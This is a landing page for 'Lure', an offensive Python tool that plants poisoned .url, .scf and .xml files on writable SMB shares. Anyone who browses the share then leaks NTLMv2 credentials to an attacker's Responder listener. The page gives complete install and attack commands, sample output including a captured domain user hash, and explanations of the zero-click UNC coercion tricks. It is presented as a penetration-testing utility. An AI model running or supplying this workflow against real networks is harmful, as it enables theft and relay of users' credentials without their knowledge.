Bait the share, catch the hash

Drops poisoned .url, .scf, and .xml payloads onto writable SMB shares. The first user to browse coerces NTLM authentication back to your Responder listener.

lure
$ sudo lure drop -t 10.10.10.5 -c 10.10.14.3 -i tun0 -s public
[+] Wrote @lure.url
[+] Wrote @lure.scf
[+] Wrote @lure.xml
[*] Uploading 3 payload(s) at //10.10.10.5/public
[*] Starting Responder on tun0
[SMB] NTLMv2-SSP Hash : CORP\jdoe::CORP:…
0
Payload Types
0
Upload Modes
0
Command
0
Heavy Deps

Three payloads, one listener

Each payload abuses a different Windows auto-resolve behavior. The @ prefix sorts files to the top of the directory listing, maximizing the chance a curious user browses them first.

Drop and Listen

lure drop generates the payloads, uses smbclient to upload them (anonymous, authenticated, or into a nested subdirectory), then hands off to Responder on your chosen interface. Add --no-listen to drop only, or use lure listen -i IFACE separately.

$ sudo lure drop -t 10.10.10.5 -c 10.10.14.3 -i tun0 -s public -p scf
[+] Wrote @lure.scf
[*] Uploading 1 payload(s) at //10.10.10.5/public
[*] Starting Responder on tun0
3
Payload Types

@lure.url

Internet shortcut with an IconFile UNC path. Windows Explorer resolves the icon the moment the share is browsed — no click required.

@lure.scf

Shell command link that also forces icon resolution via UNC. Old-school trick that still fires on modern Windows when Explorer previews the directory.

@lure.xml

Word document with an xml-stylesheet processing instruction pointing at a remote XSL over UNC. Fires when a user opens the doc.

0
Clicks Required

Subdirectory Targeting

When the share root is read-only but a subdirectory is writable, -d <path> uploads the payload directly into the nested location without requiring a separate mount or CWD change.

$ sudo lure drop -t 10.10.10.5 -c 10.10.14.3 -i tun0 \
    -s shares -d HR/public
[*] Uploading 3 payload(s) at //10.10.10.5/shares/HR/public

Flexible Authentication

-u accepts user, DOMAIN/user, DOMAIN\user, or user@DOMAIN.LOCAL. Passwords resolve from --pass, $LURE_PASSWORD, or --ask-pass.

Full capability matrix

Single-file Python tool. Wraps smbclient for upload and responder for capture. Runs on any Kali-style attacker workstation.

.url Payload
.scf Payload
.xml Payload
Multi-Payload Session
Subcommand CLI
Anonymous Upload
Authenticated Upload
Nested Path
UNC Coercion
Responder Handoff
NTLMv2 Capture
Cleanup Mode
Listen Mode
Share Enumeration
Dry-Run Mode
Catppuccin Mocha
NO_COLOR Honored
pipx Installable
Python 3.8+
Windows (WSL)
Full   Partial   Not Supported

Bait, drop, coerce, capture

Lure chains four stages behind a single command. Every stage is a thin wrapper around tools already on your Kali box.

1

Payload Generator

Writes a .url, .scf, or .xml template with your callback IP embedded in the UNC path. The @ filename prefix sorts the file to the top of directory listings; --name overrides for telemetry-aware engagements.

2

SMB Uploader

Wraps smbclient with anonymous, authenticated, and nested upload modes via a single subprocess.run argv list — no shell, no injection surface. Multiple payloads land in one session.

3

Coercion Trigger

When a user browses the share, Explorer resolves the UNC icon reference or opens the Word document. Windows auto-authenticates to the attacker IP using the user's NTLM credentials.

4

Responder Handoff

Lure shells out to sudo responder -I <iface> -wv on the interface you provide. Skip with --no-listen or invoke lure listen -i IFACE separately. Inbound NTLMv2 hashes land in Responder's log for offline cracking or relay.

Install and drop

Python package installable via pipx or pip. Requires smbclient and responder on $PATH — both ship with Kali.

install.sh
# Install with pipx (recommended)
$ pipx install git+https://github.com/Real-Fruit-Snacks/Lure.git

# Or standard pip
$ pip install git+https://github.com/Real-Fruit-Snacks/Lure.git

# System dependencies (Kali)
$ sudo apt install smbclient responder

# Verify install
$ lure --help
usage.sh
# Drop a .scf on an open share
$ sudo lure drop -t TARGET -c CALLBACK -i IFACE -s SHARE -p scf

# Authenticated upload to a domain share
$ sudo lure drop -t TARGET -c CALLBACK -i IFACE -s SHARE \
    -u DOMAIN/USER --ask-pass

# Drop all three (default) into a nested subdirectory
$ sudo lure drop -t TARGET -c CALLBACK -i IFACE -s SHARE \
    -d path/to/dir

# Clean up after the engagement
$ sudo lure clean -t TARGET -s SHARE